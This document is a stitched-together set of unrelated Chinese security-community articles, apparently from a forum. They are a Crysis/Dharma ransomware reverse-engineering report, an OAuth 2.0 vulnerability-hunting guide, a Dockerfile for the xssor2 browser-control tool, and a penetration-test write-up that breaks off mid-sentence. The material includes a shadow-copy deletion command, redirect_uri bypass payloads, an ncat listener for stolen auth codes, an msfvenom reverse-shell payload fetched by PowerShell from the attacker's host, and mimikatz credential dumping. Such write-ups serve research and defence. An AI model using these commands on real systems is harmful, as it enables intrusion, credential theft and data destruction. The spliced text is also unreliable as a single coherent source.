Applet传播的跨平台（Windows、MacOS）恶意软件Crysis开始加入勒索功能，并于8月份被发现用于攻击澳大利亚和新西兰的企业。Crysis恶意软件不仅能够感染VMware虚拟机，还能够全面收集受害者的系统用户名密码、键盘记录、系统信息、屏幕截屏、聊天信息，控制麦克风和摄像头，现在又加入了加密勒索功能，其威胁性大有取代TeslaCrypt和Locky勒索软件的趋势。它主要通过暴力破解远程桌面（RDP）协议传播，支持185种文件类型加密。
2016年11月12日，勒索病毒 Crysis解密密钥被公开，Crysis2及3的受害者可通过这个密钥恢复丢失的文件。
2017年5月下旬，Crysis/Dharma病毒出现了一个新的变种.cesar，中国境内有部分个人和企业开始受到攻击。
2017年8月30日，ID-Ransomware的Michael Gillespie发现了Crysis/Dharma 勒索软件一个新的变种, 文件被追加
.arena
扩展名。中国境内个人和企业受到攻击数量显著增多。东莞某手机代工厂中病毒后所有的服务器文件后缀变成了.arena，工厂按照提示信息的地址给黑客付款，付款后黑客就消失了，三天后黑客发来信息称自己在出差，并发来了一个解密工具，工厂解密后发现黑客只解密了部分文件，需要再支付一次才能继续解密。下图的勒索邮件图片来自网络：
被二次勒索
2018年3月， Crysis/Dharma 勒索软件出现一个新的变种, 文件被追加.java 扩展名。
2018年5月16日， Crysis/Dharma 勒索软件出现一个新的变种, 文件被追加.bip
扩展名。启明星辰ADLab第一时间发现该变种，并对其进行了深入的分析，由于使用了RSA+AES加密，所以目前尚无法被解密。它支持343种文件格式的加密，比最初增长了1.85倍。
#### 三、勒索病毒技术分析
该勒索病毒使用加密的shellcode，在shellcode中利用换体技术对程序地址空间进行修改，以达到干扰杀毒软件的查杀和对抗二进制分析的目的。加密算法实现上并没有使用常见的加密开源库，所以给逆向人员在算法识别上带来一定的困难。我们在做二进制分析的时候，没有发现勒索软件有网络数据产生，推测是黑客的C&C服务器已经关闭了。
##### 3.1 勒索病毒母体执行
###### 3.1.1 勒索病毒执行流程
勒索病毒运行后，首先利用TEA算法解密shellcode，shellcode解密完成后，便开始执行。shellcode的功能是改写勒索病毒自身内存地址空间，对勒索病毒进行换体。流程图如下：
###### 3.1.2 解密shellcode
勒索病毒运行后，首先通过LoadLibraryA函数加载Kernel32.dll，然后利用GetProcAddress动态获取LocalAlloc和VirtualProtect的函数地址，再利用LocalAlloc分配0x11C98大小的内存地址作为shellcode数据的存储空间，通过sub_4011D5函数把数据段中的数据赋值给dw_shellcode地址，使用TEA算法解密dw_shellcode地址的数据，解密完成后调用VirtualProtect函数给shellcode添加执行权限，然后执行shellcode代码，相关代码如下图所示：
在分析shellcode解密代码的时候，根据TEA的魔数特征0xC6EF3720，识别出解密代码的算法是TEA算法，代码如下所示：
##### 3.2 Shellcode执行
勒索病毒母体执行完毕后，开始执行shellcode代码。在shellcode中动态调用VirtualAlloc分配内存，把新的变体内容拷贝到内存中；调用VirtualProctect修改内存属性，把源程序地址空间清零；使用新的变体内容填充，最后调用VirtualFree释放前面分配的内存。相关代码如下图所示：
##### 3.3 换体后代码执行
换体完成后，勒索病毒便开始执行变体代码。变体代码首先创建一个互斥，防止自身被多次执行；其次，变体代码创建一个线程，用于监控感染机上指定的进程或服务，该线程每隔500毫秒对感染机上的目标进程或服务进行一次关闭操作；再次，变体代码创建开机自启动注册表项，拷贝自身到注册表项所在目录，以达到开机自启动的目的，然后变体代码删除磁盘卷影，防止受害人恢复数据；最后，变体代码创建一个线程，用于扫描局域网共享目录并对扫描到的文件进行加密。遍历逻辑驱动器，每个驱动器创建一个文件加密线程，对逻辑驱动器下的文件进行加密。该变体代码的执行流程图如下所示：
###### 3.3.1 创建互斥
勒索病毒的字符串都是使用RC4算法加密的，通过内置的一个128字节密钥进行解密。我们用Ollydbg对字符串解密过程进行动态跟踪，得到了RC4的128字节的密钥，如下所示：
互斥体的名称由三部分组成，第一部分是RC4解密出来的字符串`“Global\syncronize_”`，第二部分是RC4解密出来的字符串“45STKM”，第三部分是根据参数选择，如果参数为1就是“A”，否则是“U”。
最终，勒索病毒会创建两个互斥体
`"Global\syncronize_45STKMA"`和`"Global\syncronize_45STKMU"`，相关代码如下：
###### 3.3.2 解锁文件占用
勒索病毒不但会杀死指定的正在运行的进程而且还会停止指定的正在运行的服务，这样做的好处是解锁对应进程的文件占用，从而保证文件加密成功。勒索病毒会使用上文中的RC4算法解密得到要杀死的进程名称和服务名称。相关代码如下图所示：
进程名和服务名列表如下：
勒索病毒在完成字符串解密后，创建一个线程，在线程中遍历系统进程，判断目标进程是否存在，如果存在，就杀死目标进程。相应代码如下所示：
遍历系统服务名称，判断服务名称是否存在，如果存在就停止服务。相关代码如下所示：
该勒索病毒创建一个线程，每隔500毫秒循环一次，判断相应的进程和服务是否存在，如果存在就杀死，反汇编代码如下所示：
###### 3.3.3 添加开机自启动
勒索病毒先拷贝设置到以下目录：
启动目录
%windir%\System32
%appdata%
%sh(Startup)%
%sh(Common Startup)%
拷贝完成后在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下新建3个注册表项，注册表内容如下图所示。
`“%AppData\Romaing\Info.hta”`是勒索病毒提示用户解锁的提示文件。通过注册表我们可以看到“Info.hta”文件被拷贝了两份，另外一份是在“%System32%”路径下，可能是黑客为了确保这个提示框被受害人能看到，所以特意写了两个路径。
`“load_.exe”`文件是勒索病毒程序自身的拷贝，这样就可以实现每次开机启动后执行加密逻辑，把受害人新增的文件加密。相关代码如下：
拷贝文件添加注册表开机自启动
%sh(Startup)%目录下的开机自启动程序
%sh(Common Startup)%目录下的开机自启动程序
%Appdata%目录下支付勒索的提示程序
%windir%\System32目录下的开机自启动程序
###### 3.3.4 删除磁盘卷影
卷影副本功能可提供网络共享上的文件的即时点副本。利用共享文件夹的卷影副本，用户可以查看网络文件夹在过去某一时间点的内容。
勒索病毒会删除磁盘卷影，以防止受害人通过磁盘还原方式对文件进行恢复，删除磁盘卷影的命令为“mode con cp select=1251 vssadmin
delete shadows /all /quiet
Exit”，该命令是用上文中的RC4算法解密出来的。勒索病毒通过调用CreateProcess启动“C:\Windows\system32\cmd.exe”调用删除命令来删除磁盘卷影，相关代码如下图所示：
###### 3.3.5 枚举局域网的共享目录，对共享目录文件进行加密
该勒索病毒创建一个线程，对局域网中共享的文件进行加密。
创建加密共享磁盘线程
线程中遍历局域网共享资源，加密文件的核心代码如下：
###### 3.3.6 遍历本地磁盘，对磁盘目录文件进行加密
该勒索病毒先用上文中的RC4算法解密一段数据，解密后的结果为
“ABCDEFGHIJKLMNOPQRSTUVWXYZ”，通过GetLogicalDrives函数获取磁盘驱动器，然后遍历执行文件加密，相关反汇编代码如下所示：
为了保证电脑系统正常启动，勒索病毒对保障操作系统正常运行的文件不加密，并把这些文件的文件名加密存储在程序中。通过上文中的RC4算法解密后的文件名列表如下：
解密后的文件名
boot.ini
bootfont.bin
ntldr
ntdetect.com
io.sys
###### 3.3.7 文件加密
勒索病毒支持343种类型文件的加密，文件类型（文件的后缀名）是以分号分割并通过上文中的RC4算法加密存储的，运行时动态解密，解密后的字符串在Ollydbg内存中如下图所示：
支持加密的文档扩展名如下：
.1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip
文件加密功能是在线程函数中执行的，在加密前，它先进行CRC32校验，确保加密成功，并构造加密后文件名的命名，该恶意程序加密后的文件按照{原始文件名}+{.id-}+{C盘序列号}+{.[[email protected]]
.bip}方式进行重命名。以“test.txt”为例，加密后的文件名为“test.txt
.id-B05844B5.[[email protected]].bip”。每个文件都随机生成一个0x16字节的IV，从而保障加密的随机性，线程函数核心代码如下：
在加密文件前，勒索病毒先去掉目标文件的只读属性，待加密完成后再还原其原有的文件属性，相关代码如下所示：
###### 3.3.8 加密算法分析
勒索病毒加密文件，使用内置的一段加密的RSA公钥对随机生成的AES密钥进行加密，并将加密后的内容发给黑客，黑客使用RSA私钥进行解密，得到加密文件的AES密钥。为了保障随机性，黑客对每个文件进行加密的时候都使用随机的IV，被加密后的文件按照特定的文件格式进行存储，文件加密算法流程图如下所示：
在加密算法中有一个非常重要的结构体，如下图所示：
这个结构体的初始化过程是：首先利用上文中的RC4算法解密一段内置的0x80字节的数据，解密后的结果作为RSA的公钥；然后对RSA的公钥进行SHA1求值，将其SHA1结果赋值给encrypt->
rsa_pub_sha1。RSA公钥如下图所示：
计算RSA公钥的SHA1结果为“23 A0 55 82 B9 C1 12 1E FE 56 71 CE 45 87 38 1D BA 95 B7
F9”，相关代码如下图所示：
勒索病毒使用GetVolumeSerialNumber函数获取C盘序列号，并填充encrypt->disk_id字段，通过rdtsc获取CPU自从启动以来的时钟周期数（也就是一个随机数）；使用RC4加密，RC4加密的结果作为后面对文件加密的AES密钥，填充encrypt->aes_key字段。代码如下图所示：
勒索病毒使用RSA公钥加密encrypt->aes_key，加密后的结果填充encrypt->rsa_encrypt_key字段，通过上文的RC4算法解密得到黑客联系邮箱“.[[email protected]]”和文件后缀名“.bip”，代码如下图所示：
初始化完加密结构体，勒索病毒会创建线程对文件进行加密，在对文件进行加密的时候，该勒索病毒会判断文件大小是否大于0x180000，如果大于就使用大文件加密方法，否则就使用小文件加密函数。相关代码如下：
（1）小于等于0x180000的文件处理方法
加密完成后，勒索病毒把AES加密的结果写入文件中，然后再追加一段数据。假设这段数据的起始地址为0，将这段地址全部初始化为0：
1. 在第0x04字节后依次写入0x00000002和0x417AFE0C；
2. 在第0x18字节后写入0x00000020；
3. 在第0x20字节处写入文件名；
4. 在文件名后面追加6字节的encrypt->str_45STKM；
5. 在encrypt->str_45STKM后面追加20字节的encrypt->rsa_pub_sha1；
6. 在encrypt-> rsa_pub_sha1后面追加16字节的IV；
7. 在IV后面追加4字节的PadingLen，（对AES明文不足16字节的补齐长度）；
8. 在PadingLen后面再追加128字节的encrypt->rsa_encrypt_key；
9. 在encrypt-> rsa_encrypt_key后面写入4字节的偏移（0x20+文件名长度）。
至此，文件加密完成，关闭文件，相关代码如下：
（2）大于0x180000的文件处理方法
加密完成后，勒索病毒把AES加密的结果写入文件中，然后再追加一段数据。假设这段数据的起始地址为0，将这段地址全部初始化为0：
1. 在第0x0字节处写入文件名；
2. 在文件名后面追加6字节的encrypt-> str_45STKM；
3. 在encrypt-> str_45STKM后面追加20字节的encrypt-> rsa_pub_sha1；
4. 在encrypt-> rsa_pub_sha1后面追加16字节的IV（用于AES加密）；
5. 在IV后面追加4字节的0x00（这里可能是为了与小文件格式兼容）；
6. 在PadingLen后面再追加128字节的encrypt-> rsa_encrypt_key；
7. 在encrypt-> rsa_encrypt_key后面写入4字节的文件名长度。
相关代码如下图所示：
#### 四、总结及建议
勒索病毒已经成为了一种越来越普遍和有效的攻击方式，个人用户和企事业组织受害者居多，而且一旦感染勒索病毒，数据被加密就很难还原。因为勒索病毒都采用成熟的密码学算法，使用高强度的对称和非对称加密算法对文件进行加密，所以在通常情况下只能支付高额的赎金。有些勒索病毒在加密过程中使用Windows
Crypto
API生成密钥并进行加密，但此API在某些操作系统上并未将生成密钥时产生的素数从内存中删除，因此若该内存块尚未被覆盖，我们就可以通过截取素数生成出同样的密钥，使用该密钥实现对已被加密的文件进行解密。Crysis勒索病毒没有使用这个API，所以不存在此漏洞。目前互联网上流传的一些勒索病毒的解密工具大多是利用了勒索病毒功能或逻辑上的漏洞或私钥泄露实现的。
勒索病毒的几点防范建议：
1. 对重要的数据文件定期进行非本地备份。
2. 不要点击来源不明的邮件以及附件。
3. 重命名vssadmin.exe进程，防止勒索病毒利用它一次性清除文件的卷影副本。
4. 开启防火墙，并升级到最新版本，阻止勒索病毒与其C&C服务器通信。
5. 及时给电脑打补丁，修复漏洞。
6. 使用长度大于10位的复杂密码，禁用GUEST来宾帐户。
7. 尽量不要使用局域网共享，或把共享磁盘设置为只读属性，不允许局域网用户改写文件。
8. 关闭不必要的端口，如：445、135、139、3389等。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 你可能不知道的挖洞小技巧系列之OAuth 2.0
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
最近被一个同学问起OAuth2.0，才发现有不少人对OAuth2.0一知半解，没有去真正了解过，更不用提如何从OAuth2.0授权认证中去挖掘漏洞了。老洞新谈，OAuth2.0协议本身是没有问题的，而关于OAuth2.0的漏洞大多是一些配置不当所造成的，严重时甚至可以达到无交互登录任意授权账户。所以此文重点在于讲解OAuth
2.0是什么、运行原理流程（即OAuth 2.0的授权模式）以及测试漏洞点的思路。
## 定义-是什么
简单来说，OAuth简单说就是一种授权的协议，只要授权方和被授权方遵守这个协议去写代码提供服务，那双方就是实现了OAuth模式。OAuth2.0
使用已久，相信大家即使不清楚OAuth2.0是什么，但在渗透测试或者挖洞的过程中，也经常接触到，比如我们在WEB端总会碰到这样的支持第三方授权登录的登录界面。
或者在移动端同样支持第三方授权登录的APP。
这些应用都是通过用户授权后再去调用第三方登录，由第三方认证服务器返回认证数据，OAuth2.0就是客户端(知乎、饿了么等平台)和认证服务器(QQ/微信/支付宝/微博等)之间由于相互不信任而产生的一个授权协议。
## 原理-运行流程
在明确了OAuth2.0后，我们来看OAuth2.0客户端定义了用户授权的几种方式：授权码模式、简化模式、密码模式、客户端模式。
### 1.授权码模式
授权码模式是功能最完整、流程最严密的授权模式，也是最安全以及目前使用最广泛的一种模式。以知乎采用第三方微信登录为例。
认证流程：
（A）用户访问客户端，后者将前者导向认证服务器。
（B）用户选择是否给予客户端授权。
（C）假设用户给予授权，认证服务器将用户导向客户端事先指定的”重定向URI”（redirection URI），同时附上一个授权码。
（D）客户端收到授权码，附上早先的”重定向URI”，向认证服务器申请令牌。这一步是在客户端的后台的服务器上完成的，对用户不可见。
（E）认证服务器核对了授权码和重定向URI，确认无误后，向客户端发送访问令牌和更新令牌。
### 2.授权码简化模式
认证流程：
（A）客户端将用户导向认证服务器。
（B）用户决定是否给予客户端授权。
（C）假设用户给予授权，认证服务器将用户导向客户端指定的”重定向URI”，并在URI的Hash部分包含了访问令牌。
（D）浏览器向资源服务器发出请求，其中不包括上一步收到的Hash值。
（E）资源服务器返回一个网页，其中包含的代码可以获取Hash值中的令牌。
（F）浏览器执行上一步获得的脚本，提取出令牌。
（G）浏览器将令牌发给客户端。
### 3.密码模式
认证流程：
（A）用户向客户端提供用户名和密码。
（B）客户端将用户名和密码发给认证服务器，向后者请求令牌。
（C）认证服务器确认无误后，向客户端提供访问令牌。
### 4.客户端模式
认证流程：
（A）客户端向认证服务器进行身份认证，并要求一个访问令牌。
（B）认证服务器确认无误后，向客户端提供访问令牌。
因为此授权模式用户直接向客户端注册，客户端以自己的名义要求”服务提供商”提供服务，实际上不存在授权问题，再加上实际环境中此授权方式利用较少，暂不表述。
## 漏洞点（攻击面）
在上述的认证流程中，不论哪种模式，都是为了从认证服务器获取access_token，用来访问资源服务器。而申请access_token，需要在请求里添加几个必要参数。如下所示：
client_id：表示客户端的id(我是谁)。
response_type或grant_type：表示授权类型(申请哪种模式)
scope：表示申请的权限范围(申请哪些权限，由授权服务器定义)。
redirect_uri：表示重定向URI(申请结果跳转至哪儿)。
state：表示客户端的当前状态，可以指定任意值，认证服务器会原封不动地返回这个值(自定义信息希望服务端原样返回)。
code：表示授权码，必选项。该码的有效期应该很短，通常设为10分钟，客户端只能使用该码一次，否则会被授权服务器拒绝。该码与客户端ID和重定向URI，是一一对应关系。
而关于OAuth2.0漏洞的挖掘也是围绕其中几个重要参数点展开，大致分为以下几个方面：
### 1.OAuth劫持
根据OAuth的认证流程,用户授权凭证会由服务器转发到redirect_uri对应的地址,如果攻击者伪造redirect_uri为自己的地址,然后诱导用户发送该请求,之后获取的凭证就会发送给攻击者伪造的回调地址.攻击者使用该凭证即可登录用户账号,造成授权劫持。
**第一种情况：回调URL未校验**
如果回调URL没有进行校验，则黑客可以直接修改回调的URL为指定的任意URL，即可以配合CSRF进行token骗取。
http://passport.xxxx.cn/oauth2/authorize?response_type=code&redirect_uri=http://www.baidu.com&client_id=10000&theme=coremail
此类问题类似于普通的URL跳转，案例演示略。
**第二种情况：回调URL校验绕过**
部分OAuth提供方在进行的回调URL校验后存在被绕过的情况。
此种漏洞类型也是如今最为常见的类型。以某个授权页面所示：
https://xxx.com/ authorize?response_ type=code&client_
id=ArOUCNpMvP&redirect_uri=https://xxx.com/app/token&state=xxx.com&scope=all
直接修改redirect_uri参数发送请求，发现进行白名单校验。
对redirect_uri参数进行Fuzz。
使用这个值即可绕过白名单限制: http://gh0st.cn:80#@xxx.com/，返回授权页面正常。
下面是一些常用的bypass方式：
///www.gh0st.com//..
///www.gh0st.com//../
/https:/gh0st.com/
//www.gh0st.com//..
//www.gh0st.com
/www.gh0st.com
https://www.xxx.com/www.gh0st.com
//gh0st.com
http://www.xxx.com.gh0st.com
http://gh0st.cn:80#@xxx.com
http://[email protected]
http://www.xxx.com#gh0st.com
http://www.xxx.com?gh0st.com
http://www.xxx.comgh0st.com
http://www.xxx.comgh0st.com
**第三种情况：利用URL跳转漏洞**
这其实也属于校验不完整的而绕过的一种情况，因为OAuth提供方只对回调URL的根域等进行了校验，当回调的URL根域确实是原正常回调URL的根域，但实际是该域下的一个存在URL跳转漏洞的URL，就可以构造跳转到钓鱼页面，就可以绕过回调URL的校验了。由于此种方式只需要再结合一处URL跳转漏洞即可实现，暂不做案例演示。
**第四种情况：结合跨站图片**
通过在客户端或者客户端子域的公共评论区等模块，插入构造好请求的img标签，将redirect_uri参数修改为加构造好img标签的URL，利用本身的域名去绕过白名单限制。
如下图所示，在评出处填写，此时当有用户访问这个页面时就会请求我们的vps服务器。
退出登录，进入登录页面，点击支付宝快速登录。
复制URL链接，修改redirect_uri参数为我们刚才评论的地址(要用两次url编码)。
原url：
https://auth.alipay.com/login/index.htm?goto=https://xxx.com:443/oauth2/publicAppAuthorize.htm?app_id=20190&redirect_uri=https://xxx.com/?login/bind/alipay/callback?token=oN7Jvtq7M&scope=auth_user
两次url编码：
https%253a//auth.alipay.com/login/index.htm%253fgoto%253dhttps%253a//xxx.com%253a443/oauth2/publicAppAuthorize.htm%253fapp_id%253d20190%2526redirect_uri%253dhttps%253a//xxx.com/%253flogin/bind/alipay/callback%253ftoken%253doN7Jvtq7M%2526scope%253dauth_user
在VPS上生成证书，然后监听1234端口
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
-nodes
apt install nmap
ncat –ssl –ssl-cert cert.pem –ssl-key key.pem -lvnp 1234
将修改好的URL链接发给普通用户，一旦他们点击登录，攻击者就能拿到他们的auth_code。
### 2.CSRF绑定劫持漏洞
攻击者抓取认证请求构造恶意url,并诱骗已经登录的网用户点击(比如通过邮件或者QQ等方式)。认证成功后用户的帐号会同攻击者的帐号绑定到一起。
如某云的历史漏洞2014-060493，某厂商的OAuth 2.0 认证流程中，当攻击者发起一个认证请求：
https://api.weibo.com/oauth2/authorize?client_id=**&redirect_uri=http%3A%2F%2Fwww.xxx.cn%2Fconnect_sync%2Fsina_v2_sync.php&response_type=code
并截获OAuth 2.0 认证请求的返回。
http://www.xxx.cn/connect_sync/sina_v2_sync.php?code=6e20eb6bfea2d969a8fa5435a5d106d5
然后攻击者诱骗已经登录的网用户点击。此厂商会自动将用户的帐号同攻击者的帐号绑定到一起。此后攻击者便可以通过其新浪帐号访问受害用户的帐号。
OAuth
2.0提供了state参数用于防御CSRF.认证服务器在接收到的state参数按原样返回给redirect_uri,客户端收到该参数并验证与之前生成的值是否一致.所以此漏洞适用于未配置state参数授权的认证方式。
### 3.Scope越权访问
这个案例展示了scope权限控制不当带来的安全风险,同时将授权劫持的几个方面演绎的淋漓尽致。
案例: https://www.oschina.net/question/12_143105
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
上面案例中的scope参数扩大到了用户的代码库等其它权限。于是越权拥有了用户的私有代码区操作权限。
## 总结
在我们日常的渗透测试以及学习研究过程中，不仅仅要拓展对常规漏洞(owasp
top10)的研究深度，也应该拓展漏洞的宽度，毕竟你的知识面直接决定了你的攻击面。 | 社区文章 |
<https://github.com/evilcos/xssor2>
0x01 各种编码转换功能
0x02 CSRF利用代码辅助生成
0x03 Beef的简化版，简单的浏览器远控。
使用方便，方便大家学习。
[code]FROM fedora:latest
MAINTAINER xi4okv
RUN dnf -y install git python
RUN cd /opt && git clone <https://github.com/evilcos/xssor2>
RUN cd /opt/xssor2 && pip install -r requirement.txt
ENV RHOST 127.0.0.1
EXPOSE 8000
ENTRYPOINT sed -i "s/xssor.io/$RHOST:8000/g"
/opt/xssor2/xssor/payload/probe.js && cd /opt/xssor2 && python manage.py
runserver 0.0.0.0:8000[/code]
docker部署也特别容易。
Dockerfile
docker build -t xssor2 . 创建镜像docker run -d -p 8000:8000 -e RHOST=x.x.x.x
xssor2 创建容器 RHOST为控制端IP或域名 | 社区文章 |
#### **前言**
最近一段时间，我和[Sudhanshu
Chauhan](https://twitter.com/Sudhanshu_C)一起参加了一个黑客挑战大赛，比赛中有这样一道有趣的题目：在只知道被渗透组织名称的前提下，对目标组织执行渗透测试任务。经过一番的摸索，我们通过利用目标网站中的一个SQL注入漏洞成功的进入到了该组织的内网并获取到目标网站的最高权限。本文将对我们是如何通过一个SQL注入漏洞获取目标组织的最高管理权限的过程进行介绍，文中涉及到的渗透技术大体包括：OSINT、弱口令、密码破解、不安全的配置、跳板攻击(Pivoting)、绕过AV以及pwnage等。
#### **渗透过程**
有趣的是，比赛的初始阶段是禁止我们进行枚举操作的，因此在项目的开始阶段我们采用被动方法来收集与目标相关的信息，这些方法主要包括获取目标组织拥有的IP地址段，域名及其子域名，在github、pastebin以及其他第三方网站上检索与目标组织相关的信息，使用shodan和其他一些OSINT技术去发现目标网站泄漏的敏感信息和服务信息。经过我们前期的被动收集信息，我们整理出了一份信息列表，之后我们综合多种因素对前期获取到的数据信息进行编辑和排名，这些因素主要有：泄露的证书、过时的软件、暴露的服务等。根据整理出的资源信息列表，我们可以制定下一阶段要使用的渗透方案。
在我们的资源信息列表中，我们发现其中一个排名靠前的网站存在一个SQL注入漏洞，通过使用SQLMap（添加“-is-dba”选项）工具，我们发现通过该SQL注入漏洞可以获取到DBA级别的特权。在获取到数据库类型之后，我们成功的获取到了sql
shell。另外，我们还找到了一些数据库用户名和相关的密码哈希值。通过使用#OneRuleToRuleThemAll，我们能够破解一些哈希密码。另外，由于在数据库服务器上启用了“xp_cmdshell”，因此我们能够执行OS命令，这个可以通过OOB
DNS调用了我们自定义的域名“xyz.abc.sos.notsosecure.com”来证实，具体如下图所示:
下一步，我们将通过交互式shell来执行代码。一开始我们尝试了多个meterpreter
payloads，但几乎都没有奏效，之后我们使用多种渗透技术(例如ICMP
tunnelling)不断尝试，最终通过xp_cmdshell获取到一个交互式的ICMP shell，具体如下图所示:
使用新获得的ICMP shell，我们准备对目标系统进行进一步的渗透操作，我们在目标网站上搜寻有助于后渗透阶段使用的信息，但由于ICMP
shell不太稳定的原因，使用该shell我们并没有找到任何有助于后渗透利用的信息数据。之后我们将注意力转向目标系统本身，由于目标主机是Windows系统，因此我们尝试去获取一个powershell
meterpreter的有效载荷。虽然我们成功获取到了一个powershell，但在几秒钟之内就被检测到了，并且终止了连接。之后我们通过枚举操作，获取到目标主机上运行的杀毒软件的型号以及版本信息。在几次试图绕过杀毒软件失败之后，我们又继续对目标上安装的软件执行枚举操作，并确定目标主机上的确安装了python。然后我们通过运行以下命令使用msfvenom生成了一个python
meterpreter的有效载荷:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<OUR_HOST> LPORT=1234 > pypreter.py
上面的payload托管在我们的服务器上，之后我们通过指示受感染的服务器在ICMP shell中使用以下的Powershell命令来下载payloads:
powershell $WebRequest = New-Object System.Net.WebClient; $WebRequest.DownloadFile('http://<OUR_HOST>:8000/pypreter.py','C:WindowsTemppypreter.py')
我们启动一个metasploit的/multi/handler模块，以用来和之前创建的payload建立连接，然后我们通过ICMP
shell执行了载荷，之后我们便获取到了我们想要的meterpreter shell，如下图所示:
上述的meterpreter shell虽然比最初的ICMP shell稳定的多，但由于python
meterpreter实现的局限性，大多数的meterpreter命令都没有获得预期的结果。于是我们从新获得的python meterpreter
shell出发，继续在目标系统中执行枚举操作。基于以往的经验，我们将目标锁定为网络共享，因为杀毒软件通常不会对网络共享执行扫描操作。有趣的是，我们在目标系统中找到了一个网络共享，并在那里放置了一个meterpreter
payload。之后，我们开启另一个metasploit的/multi/handler模块，用于和meterpreter的有效载荷建立连接，并期望得到一个新的本地meterpreter
shell。一旦我们拥有了这个meterpreter
shell，那么就可以对目标系统做很多事情了。我们试图用mimikatz工具来获取明文密码，但由于没有人执行过登录操作，并且本地的哈希也没有在其他地方运行过，因此我们并没有发现任何一个明文登录密码。但随后我们发现目标主机有多个网络接口，因此我们使用新获得的meterpreter
shell，在shell中输入以下命令向内部网络添加一条路由：
route add 10.0.1.0 255.255.252.0 1
在添加了路由之后，我们执行ARP扫描，并使用一个metasploit post exploitation 模块来识别当前网络上连接的主机。
然后，我们使用metasploit auxiliary 模块对当前连接的主机进行端口扫描操作，以尝试识别运行MSSQL的主机，扫描结果如下图所示:
然后，我们使用“auxiliary/scanner/mssql/mssql_login”模块以及先前破解得到的数据库帐户，以查看是否还有任何账户正在被目标系统使用，结果如下图所示:
此时，我们发现一个帐户在另外两个主机上有效，并具有数据库管理特权。在“auxiliary/admin/mssql/mssql_exec”模块的帮助下，我们使用这个特权帐户重新获取到一个meterpreter
shell运行，并且该shell具有SYSTME权限。之后我们发现这个主机运行的是Windows Server
2003操作系统，随后我们dump了本地的哈希值，并使用Hashcat工具对获取到的哈希值进行破解，最后使用meterpreter
shell来dump域帐户哈希，具体如下图所示:
除此之外，我们还是用mimikatz工具从内存中dump明文密码，如下图所示:
经过进一步的分析之后，可以确定其中一个用户是“企业管理员”，这让我们可以直接访问域控制器，并使用powershell脚本“invoke –
massmimikatz.ps1”从其他主机中提取出了多个明文密码。<https://github.com/PowerShellEmpire/PowerTools/blob/master/PewPewPew/Invoke-MassMimikatz.ps1>
此外，我们现在可以在域控制器上执行hashdump来获取诸如“krbtgt”这样的高权限帐户的哈希值。在本文中，我们使用metasploit
